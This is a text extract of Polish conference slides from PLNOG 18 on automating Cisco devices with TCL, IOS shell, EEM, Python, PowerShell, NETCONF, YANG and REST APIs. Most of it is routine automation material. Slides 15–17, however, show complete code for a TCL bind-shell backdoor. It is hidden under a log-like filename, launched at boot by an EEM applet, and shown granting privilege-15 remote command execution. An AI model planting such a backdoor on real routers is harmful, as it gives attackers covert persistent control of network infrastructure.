Troubleshooting routers haslo bez mozliwosci odzyskania
PLNOG 18 - Robert Ślaski - Programowanie a nie konfiguracja - porozmawiajmy z Cisco po nowemu
1. Programowanie, a nie konfiguracja
- porozmawiajmy z Cisco po nowemu
Robert Ślaski
Chief Network Architect
CCIE#10877
PLNOG18
6-7.03.2018
Warszawa
Robert Ślaski
Chief Network Architect
CCIE#10877
PLNOG18
6-7.03.2018
Warszawa
3. Bezrobocie i głód zagląda w oczy nam, sieciowcom!
Coś róbmy, coś zaróbmy!
Pakiety na trasowniki!
A może się przystosować?
Na PLNOG17 temat cyberbezrobocia
wzbudził niejakie zainteresowanie
2
4. O tym będzie to spotkanie…
Programowanie jest najważniejsze
2
5. 5
enejblując
a utoma ty za cj ę
w owerlejach esdeenów
za pewnia my or k iestr a cj ę r isor sów
augumentuj ąc ą a d żility
Czasy się zmieniają…
6. 6
Inżynierowie od sieci nie potrafią programować (*)
Potrzebna jest nam swego rodzaju kuracja odmładzająca
(*) dobrze
… a inżynierowie sieciowi nie bardzo
7. 7
Skrypt do pingowania wielu hostów
Zaawansowane filtrowanie logów, albo komend
Przełączanie na ścieżkę zapasową, ale tylko w godzinach pracy
Automatyczne dodawanie wpisów do tablicy routingu
Parsowanie konfiguracji routingu do pliku CSV
Dodanie parametryzowanej konfiguracji do wszystkich interfejsów
Konfiguracja poprzez obiekty na różnych platformach
Orkiestracja farmy urządzeń sieciowych
Zaprogramowanie kontrolera SDN
[…]
Przykładowe problemy sieciowca
8. 8
Będzie o trzech fazach migracji od klasycznego CLI urządzeń
do ich programowania:
Programowaniu z użyciem mechanizmów wbudowanych
Programowaniu jeszcze z użyciem CLI
Programowaniu na całego, czyli bez CLI
O czym nie będzie?
Nie będzie o SDNach
Nie będzie o SNMP – to się nie nadaje do konfiguracji
Nie będzie o wielu ciekawych rzeczach, które powinny tu się
znaleźć, ale na które nie starczy czasu
Trzy fazy odwyku od CLI
10. 10
Interpreter TCL w IOS
IOS Shell
EEM (Embedded Event Manager)
ESM (Embedded Syslog Manager)
I. Automatyzacja z użyciem
mechanizmów wbudowanych w Cisco
11. 11
Wbudowany w IOS interpretowany język skryptowy
http://www.tcl.tk
Wcześniej znany jako narzędzie skryptów IVR i ping,
obecnie siła napędowa EEM oraz ESM
Umożliwia wykonanie komend exec oraz konfiguracyjnych,
dostęp do obiektów SNMP, otwieranie socketów TCP/UDP (yes!)
Wymaga privilege level 15
TCL 7.x w IOS od tzw. zawsze (ok. 1994), TCL 8.3.4 od 12.3(2)T
Interpreter TCL w IOS
Cisco#?
Exec commands:
[…]
tclquit Quit Tool Command Language shell
tclsh Tool Command Language shell
12. 12
Brak większej pomocy dla TCL w IOS, ale działa
Wykonywanie skryptów in-line oraz wczytywanych z pliku
Interpreter TCL w IOS
Cisco#tclsh
Cisco(tcl)#foreach ?
% Unrecognized command
Cisco(tcl)#foreach
wrong # args: should be "foreach varList list ?varList list ...? command"
Cisco(tcl)#tclq
Cisco#?
Cisco#more bootflash:/ping.tcl
foreach host [list "10.139.1.1" "10.139.1.3" "10.139.2.5"] {
set output [exec "ping $host repeat 1"]
if { ![regexp {!} $output] } {
puts "Host $host is not reachable"
}
}
Cisco# tclsh bootflash:/ping.tcl
Host 10.139.1.1 is not reachable
Host 10.139.1.3 is not reachable
Host 10.139.2.5 is not reachable
13. 13
Najprostszy ping script
– przyjaciel każdego, kto podchodził do laba CCIE
Interpreter TCL w IOS
foreach pl {
5.5.5.5
10.0.0.1
} { ping $pl re 1}
Cisco(tcl)#foreach pl {
+>5.5.5.5
+>10.0.0.1
+>} { ping $pl re 1}
Type escape sequence to abort.
Sending 1, 100-byte ICMP Echos to 5.5.5.5, timeout is 2 seconds:
!
Success rate is 100 percent (1/1), round-trip min/avg/max = 3/3/3 ms
Type escape sequence to abort.
Sending 1, 100-byte ICMP Echos to 10.0.0.1, timeout is 2 seconds:
!
Success rate is 100 percent (1/1), round-trip min/avg/max = 2/2/2 ms
Cisco(tcl)#
14. 14
Może Telnet na port 1111 aby pograć w Tetris na routerze?
Interpreter TCL w IOS
O================O
| |
| |
| |
| |
| |
| |
| |
| |
| ## |
| ## |
| |
| |
| |
| |
| |
| |
O================O
Current score: 0
w or space - rotate
s - drop
a - move right
d - move left
enter - pause
TCP connection from 10.139.250.223:58431 to TSERV sock2
socket was registered
Loading Tetrios. Please wait. =)
===============================================
|| _0_/ ||
|||||| / | ||||||
|||||||||| |_/0 ||||||||||
|||||||||||||| /0||||||||||||||
|||||||||||||||||| ||||||||||||||||||
.||||||||||||||||||||||.||||||||||||||||||||||.
=========== Welcome to Tetrios! ===============
============== version 1.1 ====================
=== (c) 2011 Petr Ankudinov ===
=== mail: netl0g.blog@blogspot.com ===
=== http://netl0g.blogspot.com/ ===
===============================================
=== Stop CCIE madness! Gain maximum Score! ===
===============================================
====== Tetrios is a very useful tool for ======
======= a lonely engineer with a router =======
============ on a desert island. ==============
===============================================
======== Please, do not play too much =========
=========== on production routers. ============
===============================================
========== Press "Enter" to continue ==========
========== Ctrl+C to exit at any time =========
===============================================
Cisco#tclsh bootflash:/tetrios.tcl
15. 15
A może zainstalować backdoora w ukrytym pliku TCL?
Który uruchomi się zawsze po starcie routera dzięki skryptowi EEM?
Interpreter TCL w IOS
Cisco#dir
Directory of bootflash:/
11 drwx 16384 Aug 27 2015 13:19:42 +02:00 lost+found
16 -rw- 13125 Oct 6 2016 11:19:02 +02:00 isg_20161005.cfg
20 -rw- 19118 Mar 3 2017 23:00:26 +01:00 tetrios.tcl
777217 drwx 4096 Aug 27 2015 13:23:04 +02:00 .installer
113345 drwx 24576 Mar 2 2017 21:41:37 +01:00 tracelogs
21 -rw- 870 Mar 3 2017 23:32:18 +01:00 tracelogs.780
13 -rwx 9300 Aug 27 2015 13:45:36 +02:00 tracelogs.790
323841 drwx 4096 Jan 1 1970 01:04:33 +01:00 core
210497 drwx 4096 Oct 25 2016 16:55:10 +02:00 .prst_sync
194305 drwx 4096 Aug 27 2015 13:51:24 +02:00 .rollback_timer
14 -rw- 359790956 Oct 19 2015 16:16:35 +02:00 asr1000rp1-advipservicesk9.03.09.02.S.153-2.S2.bin
12 -rw- 390699644 Nov 16 2015 21:58:16 +01:00 asr1000rp1-advipservicesk9.03.16.01a.S.155-3.S1a-ext.bin
15 -rw- 385288828 Nov 17 2015 09:22:32 +01:00 asr1000rp1-advipservicesk9.03.15.02.S.155-2.S2-std.bin
18 -rw- 340537656 Oct 6 2016 11:49:34 +02:00 asr1000rp1-advipservicesk9.03.07.06.S.152-4.S6.bin
19 -rw- 385239672 Oct 25 2016 10:33:56 +02:00 asr1000rp1-advipservicesk9_noli.03.15.03.S.155-2.S3-std.bin
7819087872 bytes total (5555105792 bytes free)
Cisco#sh run | s event man
event manager applet EnableInterfaceStatus
event timer countdown time 5
action 1.0 cli command "enable"
action 1.1 cli command "tclsh bootflash:/tracelogs.780"
16. 16
A może jednak zainstalować backdoora w ukrytym pliku TCL?
Interpreter TCL w IOS
Cisco#more bootflash:/tracelogs.780
# TclShell.tcl v0.1 by Andy Davis, IRM 2007
#
# IRM accepts no responsibility for the misuse of this code
# It is provided for demonstration purposes only
proc callback {sock addr port} {
fconfigure $sock -translation lf -buffering line
puts $sock " "
puts $sock "-------------------------------------"
puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"
puts $sock "-------------------------------------"
puts $sock " "
set response [exec "sh ver | inc IOS"]
puts $sock $response
set response [exec "sh priv"]
puts $sock $response
puts $sock " "
puts $sock "Enter IOS command:"
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
if {[eof $sock] || [catch {gets $sock line}]} {
} else {
set response [exec "$line"]
puts $sock $response
}
}
set port 1234
set sh [socket -server callback $port]
vwait var
close $sh
Rada: socketów lepiej używać
w skryptach wywoływanych
z EEM – można się wtedy
odpiąć od terminala VTY
17. 17
Działającego backdoora!
Interpreter TCL w IOS
[rsl@kali ~]$ telnet 10.133.251.40 1234
Trying 10.133.251.40...
Connected to 10.133.251.40 (10.133.251.40).
Escape character is '^]'.
-------------------------------------
TclShell v0.1 by Andy Davis, IRM 2007
-------------------------------------
Cisco IOS XE Software, Version 03.15.03.S - Standard Support Release
Cisco IOS Software, ASR1000 Software (PPC_LINUX_IOSD-ADVIPSERVICESK9_NOLI-M),
Version 15.5(2)S3, RELEASE SOFTWARE (fc2)
Cisco IOS-XE software, Copyright (c) 2005-2016 by cisco Systems, Inc.
All rights reserved. Certain components of Cisco IOS-XE software are
documentation or "License Notice" file accompanying the IOS-XE software,
or the applicable URL provided on the flyer accompanying the IOS-XE
ROM: IOS-XE ROMMON
Current privilege level is 15
Enter IOS command:show run
Building configuration...
Current configuration : 12041 bytes
!
! Last configuration change at 22:21:32 CET Fri Mar 3 2017 by rsl
! NVRAM config last updated at 17:35:06 CEST Tue Oct 25 2016 by rsl
[…]
18. 18
Dla tych co chcą wiedzieć więcej
Dowolna dokumentacja / kurs TCL
Jakaś lepsza lub gorsza książka
Akurat ta ma pewne zalety
Interpreter TCL
POPROGRAMUJMY
19. 19
Podzbiór komend shellowych dostępny w IOS
http://www.cisco.com/c/en/us/td/docs/ios/netmgmt/configuration/guide/Convert/IOS_Shell.html
Trzeba ładnie poprosić
#terminal shell, a potem…
IOS shell
Cisco#echo
The command you have entered is available in the IOS.sh.
However, the shell is currently disabled. You can enable
it on this terminal by typing
'term shell'
You can also enable it for all terminals by configuring the
'shell processing full'
command. There is additional information in the man command.
For more information, enable shell, and then enter:
'man IOS.sh'
Cisco#term shell
Cisco#AA=1234
Cisco#echo $AA
1234
20. 20
…a potem już jest fajniej!
Konfiguracja w postaci parametryzowanych skryptów
Przygotowujemy konfigurację w notatniku
Uwaga: użycie w trybie konfiguracji wymaga dodatkowej komendy
(config)# shell processing full
IOS shell
term shell
A=3
B=4
conf t
shell processing full
int vlan 300$A
ip add 10.0.$A$B.$A 255.255.255.0
ipv6 add 2001:db8:100:"$A""$B"::"$A"/64
end
21. 21
Copy-paste i do przodu!
IOS shell
Cisco#term shell
Cisco#A=3
Cisco#B=4
Cisco#conf t
Enter configuration commands, one per line. End with CNTL/Z.
Cisco(config)#shell processing full
Cisco(config)#int vlan 300$A
Cisco(config-if)# ip add 10.0.$A$B.$A 255.255.255.0
Cisco(config-if)# ipv6 add 2001:db8:100:"$A""$B"::"$A"/64
Cisco(config-if)#end
Cisco#
Cisco#sh run in vl 3003
Building configuration...
Current configuration : 98 bytes
!
interface Vlan3003
ip address 10.0.34.3 255.255.255.0
ipv6 address 2001:DB8:100:34::3/64
end
22. 22
A taki, na przykład, output
można teraz przetwarzać potokowo
Pętle, warunki, funkcje, zmienne, regexp, sortowanie…
IOS shell
Cisco#show ip route
Gateway of last resort is 10.139.254.53 to network 0.0.0.0
O*E2 0.0.0.0/0 [110/1] via 10.139.254.53, 7w0d, Vlan151
10.0.0.0/8 is variably subnetted, 236 subnets, 12 masks
S 10.0.0.0/8 [1/0] via 10.133.20.5
O E2 10.0.0.0/24 [110/20] via 10.139.254.62, 7w0d, Vlan153
S 10.0.0.0/26 [1/0] via 10.133.240.21
O E2 10.10.0.0/16 [110/100] via 10.139.254.53, 7w0d, Vlan151
O E2 10.11.1.0/24 [110/100] via 10.139.254.53, 7w0d, Vlan151
[…]
Cisco#show ip route
Cisco#show ip route | grep 'Vlan15[13]' | wc -l
212
23. 23
Programowanie sterowane zdarzeniami
(event-driven)
Kod wywoływany przez
detektor zdarzeń (event detector)
Kod w apletach wbudowanych
w konfigurację oraz w języku TCL
(zewnętrzne pliki)
Więcej do szczęścia nie potrzeba
Dostępny w IOS, IOS-XR, NX-OS
oraz ASA
Embedded Event Manager (EEM)
32. 32
Doskonały język ogólnego przeznaczenia
Idealny do pisania skryptów dla sieciowca i nie tylko
Świetne możliwości przetwarzania tekstów – idealne dla CLI
Rozszerzalny - moduły
Preferowany przez wielu dostawców – gotowe biblioteki API
W sieci jest wiele kursów i tutoriali skierowanych do inżynierów
sieciowych ($$$ oraz za darmo)
Python forever!
33. 33
Przykładowy fragment skryptu obrabiającego wyniki komend
Cisco IOS/NX-OS/IOS-XR / Juniper / Huawei
Python forever!
def ParseVersion(device):
result = device.RunShowCmd('show version')
versions = [ n.strip(" ") for n in result.splitlines() if n.startswith("Cisco") ]
versioninfo = [ v.strip(" ") for v in versions[0].split(",")]
print versioninfo[2]
def ParseHostname(device):
if system == "Junos":
global hostname
print hostname
else:
result = device.RunShowCmd('show version')
if len ([ n for n in result.splitlines() if re.match("^S.*(NX-OS)",n)]) >0:
#print "Nexus"
hline = [ n.strip(" ") for n in result.splitlines() if re.match("s*Device name:",n)]
hostname = [ v for v in hline[0].split(" ")]
print hostname[2]
else:
#print "IOS"
hline = [ n.strip(" ") for n in result.splitlines() if re.match("s*S+suptime",n)]
hostname = [ v for v in hline[0].split(" ")]
if hostname[0]:
print hostname[0]
else:
print hostname[1]
34. 34
I jego użycie: hurtowe pobieranie konfiguracji urządzeń z listy
Python forever!
rslaski@kali:~$ cat getconfig
#!/bin/bash
if [ "$#" -ne 1 ]; then
echo "./getconfig <ip_list_file>"
exit
fi
echo "Starting with file $1"
mkdir "configs_$1"
cat $1 | while read IP
do
echo -n "Getting config for $IP: "
HOST=`./cmd1 -d $IP -p 'hostname'`
HOSTFILE="$HOST-$(date +%Y%m%d-%H%M).cfg"
echo -n "$HOSTFILE..."
./cmd1 -d $IP -c 'show config' >> "configs_$1/$HOSTFILE"
echo " done!"
done
echo "Finished with file $1"
35. 35
Biblioteka python do manipulacji hierarchicznymi konfiguracjami IOS
https://github.com/mpenning/ciscoconfparse
Przykładowo: zrzut elementów konfiguracji Cisco ASA do pliku CSV
Python ciscoconfparse
from ciscoconfparse import CiscoConfParse
def object_network(conf):
print "Object network name,Description, IP address, NAT, NAT (cd)"
parse = CiscoConfParse(conf,syntax='asa')
nets=parse.find_objects(r'^objectsnetworks')
for item in nets:
try:
#network = item.re_match_iter_typed(regex=r'subnets(S+s+S+)',result_type=IPv4Obj)
network = item.re_match_iter_typed(regex=r'subnets(S+)',result_type=str)
except:
network = None
if network is not None:
objectName = item.re_match_typed(regex=r'^objectsnetworks(S+)',default='UNKNOWN')
addrIP= item.re_match_iter_typed(regex=r'hosts(.*)',default='UNKNOWN')
desc = item.re_match_iter_typed(regex=r'descriptions(.*)',default='UNKNOWN')
nat = item.re_match_iter_typed(regex=r'nats(.+$)',default='UNKNOWN')
print objectName,',',desc,',', addrIP,',',nat
36. 36
Jest by default dostępny w Windows
Dostępny też dla Linuxa i MacOS
Potężne narzędzie do pracy terminalowej, skryptowej,
programistycznej i nie tylko
Rozszerzalny (moduły, DLL)
Każdy spec od Windows zna PowerShella
Wystarczy zamiast ’cmd’ napisać ’powershell’
W Windows 7 domyślnie jest PS 2.0, należy pobrać i zainstalować
Windows Management Framework
w wersji co najmniej 5.0
PowerShell
PS C:Usersrslaski> $PSVersionTable.PSVersion
Major Minor Build Revision
----- ----- ----- --------
5 0 10586 117
37. 37
Dostępne jest też graficzne środowisko skryptowe
ISE (Integrated Scripting Environment)
PowerShell
38. 38
Instalujemy bibliotekę SSH.NET
Pierwsze zabawy z PowerShell
PS C:Program Files (x86)WindowsPowerShellModules> Install-Module -name SSHSessions -RequiredVersion 1.7
Untrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its
InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to install the
modules from
'PSGallery'?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): y
PS C:Program Files (x86)WindowsPowerShellModules> get-module -ListAvailable
Directory: C:Program FilesWindowsPowerShellModules
ModuleType Version Name ExportedCommands
---------- ------- ---- ----------------
Binary 1.0.0.1 PackageManagement {Find-Package, Get-Package, Get-PackageProvider,
Script 1.0.0.1 PowerShellGet {Install-Module, Find-Module, Save-Module,
Script 1.7 SSHSessions {New-SshSession, Invoke-SshCommand, Enter-
39. 39
Nie można zapomnieć o wyłączeniu restrykcji uruchamiania skryptów
Pierwsze zabawy z PowerShell
PS C:Usersrslaski> Get-ExecutionPolicy
Restricted
PS C:Usersrslaski> Set-ExecutionPolicy unrestricted
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the
execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
http://go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution
policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"):
y
PS C:Usersrslaski> Get-ExecutionPolicy
Unrestricted
40. 40
Wreszcie możemy nawiązać połączenie SSH z naszą zabawką
Tada! Możemy porozmawiać!
Pierwsze zabawy z PowerShell
PS C:Usersrslaski> $hostname = "10.133.0.3"
PS C:Usersrslaski> $username = "rsl"
PS C:Usersrslaski> $password = "<removed>"
PS C:Usersrslaski> New-Sshsession -computername $hostname -username $username
-password $password
Successfully connected to 10.133.0.251
PS C:Usersrslaski> $Result = Invoke-SshCommand -InvokeOnAll -Command "show version"
10.133.0.251:
*********************************************
** **
** CAT1-NETLAB **
** ZANIM COS SPIEPRZYSZ, POMYSL DWA RAZY **
** netlab@atende.pl **
** **
*********************************************
Cisco IOS Software, C3750E Software (C3750E-UNIVERSALK9-M), Version 15.0(2)SE4, RELEASE
SOFTWARE (fc1)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2013 by Cisco Systems, Inc.
[…]
46. 46
Niestety wszystko co dobre, szybko się kończy
A może po prostu nie było aż takie dobre?
onePK
47. 47
Ustandaryzowany (IETF RFC 6241) sposób wymiany danych
konfiguracyjnych z urządzeniem
Cztery warstwy stosu protokołów
Jako transport wykorzystujemy SSH
Zaś jako komunikaty: RPC
NETCONF
50. 50
Dwa równorzędne formaty notacji danych
XML (eXtended Markup Language)
JSON (JavaScript Object Notation)
Różnica w czytelności (człowiek) i efektywności zapisu (maszyna)
JSON / XML
http://www.cisco.com/c/dam/global/cs_cz/assets/ciscoconnect/2014/assets/tech_sdn10_sp_netconf_yang_restconf_martinkramolis.pdf
51. 51
Uruchamiamy Netconf przez SSH
I pierwsze powitanie (capabilities)
NETCONF – pierwsza krew
Cisco#conf t
Cisco(config)#netconf ssh
Cisco(config)#^Z
[rsl@lab-mgmt ~]$ ssh rsl@10.133.251.40 -s netconf
Password:
<?xml version="1.0" encoding="UTF-8"?>
<hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">
<capabilities>
<capability>urn:ietf:params:netconf:base:1.0</capability>
<capability>urn:ietf:params:netconf:capability:writeable-running:1.0</capability>
<capability>urn:ietf:params:netconf:capability:rollback-on-error:1.0</capability>
<capability>urn:ietf:params:netconf:capability:startup:1.0</capability>
<capability>urn:ietf:params:netconf:capability:url:1.0</capability>
<capability>urn:cisco:params:netconf:capability:pi-data-model:1.0</capability>
<capability>urn:cisco:params:netconf:capability:notification:1.0</capability>
</capabilities>
<session-id>1140327340</session-id>
</hello>]]>]]>
52. 52
Powitanie (capabilities) z naszej strony
A jak ładnie poprosimy o konfigurację…
NETCONF – pierwsza krew
<?xml version="1.0" encoding="UTF-8"?>
<hello>
<capabilities>
<capability>urn:ietf:params:netconf:base:1.0</capability>
</capabilities>
</hello>]]>]]>
<?xml version="1.0" encoding="UTF-8"?>
<nc:rpc message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">
<nc:get-config>
<source>
<running/>
</source>
</nc:get-config>
</nc:rpc>
53. 53
NETCONF – pierwsza krew
<?xml version="1.0" encoding="UTF-8"?>
<rpc-reply message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">
<data>
<cli-config-data-block>
! Last configuration change at 04:41:21 CET Mon Mar 5 2017 by rsl
! NVRAM config last updated at 17:35:06 CEST Tue Oct 25 2016 by rsl
!
version 15.5
service tcp-keepalives-in
service tcp-keepalives-out
[…]
</cli-config-data-block>
</data>
</rpc-reply>
]]>]]>
…to ją dostaniemy
54. 54
NETCONF – pierwsza krew
<?xml version="1.0" encoding="UTF-8"?>
<nc:rpc message-id="102" xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0">
<nc:get>
<nc:filter type="subtree">
<native xmlns="http://cisco.com/ns/yang/ned/ios">
<interface>
<GigabitEthernet>
<name>0</name>
<ip></ip>
</GigabitEthernet>
</interface>
</native>
</nc:filter>
</nc:get>
</nc:rpc>
]]>]]>
Największa zaleta – strukturalizacja obiektów
Wada – brak definicji modeli danych
Modele dostarczane są dzięki językowi modelowania danych YANG
56. 56
NETCONF+
./netconf-console --user=rsl--password=<x> --host=10.133.251.40 --port=22 –hello
Zamiast babrać się w terminalu, można użyć dedykowanej biblioteki
confD, https://developer.cisco.com/site/confD/downloads/
oraz narzędzi jak netconf-console, w tym wersje w Pythonie (ncc)
https://github.com/CiscoDevNet/ncc
Nadal rozmawiamy XMLem, ale ciut łatwiej
Na przykład pobranie konfiguracji hostname
./netconf-console --user=rsl--password=<x> --host=10.133.251.40 --port=22 --get-config
./netconf-console --host 10.133.251.40 -u rsl -p <x> --get-config --x /native/hostname
<?xml version="1.0" encoding="UTF-8"?>
<rpc-reply xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="1">
<data>
<native xmlns="urn:ios">
<hostname>Cisco</hostname>
</native>
</data>
</rpc-reply>
57. 57
Język opisu modeli danych, RFC 6020
YANG
https://www.nanog.org/sites/default/files/20161017_Alvarez_Ok_We_Got_v1.pdf
60. 60
Fragment konfiguracji routera Cisco i jej odpowiednik
w modelu YANG
YANG
https://www.nanog.org/sites/default/files/20161017_Alvarez_Ok_We_Got_v1.pdf
61. 61
A tu konkretna reprezentacja
w formacie XML oraz JSON
YANG
https://www.nanog.org/sites/default/files/20161017_Alvarez_Ok_We_Got_v1.pdf
62. 62
REST (Representational State Transfer) API
Każdy obiekt w drzewie ma swoją lokalizację
Standardowe metody HTTP do obsługi
Dane formatowane jako XML lub JSON
Polecam zabawę z REST API na Cisco ASR 1000 lub CSR 1000v
http://www.cisco.com/c/en/us/td/docs/routers/csr1000/software/restapi/restapi.html
REST API
https://10.133.251.40/api/v1/interfaces/gigabitEthernet0
64. 64
Praktyczną walką z REST-API para się też ostatnio
Piotr Wojciechowski
https://ccieplayground.wordpress.com/tag/rest-api/
REST API
65. 65
Chodźcie, porozmawiamy!
największa społeczność Cisco w Europie
ponad 8300 użytkowników
silny zespół:
3 głównych adminów
Admin aplikacji
3 adminów serwerów
3 moderatorów
członkami jest ponad 60
polskich CCIE – 20 z nich
udzielających się aktywnie 100 tematów
co miesiąc
800 postów co
miesiąc
dostępna sekcja
anglojęzyczna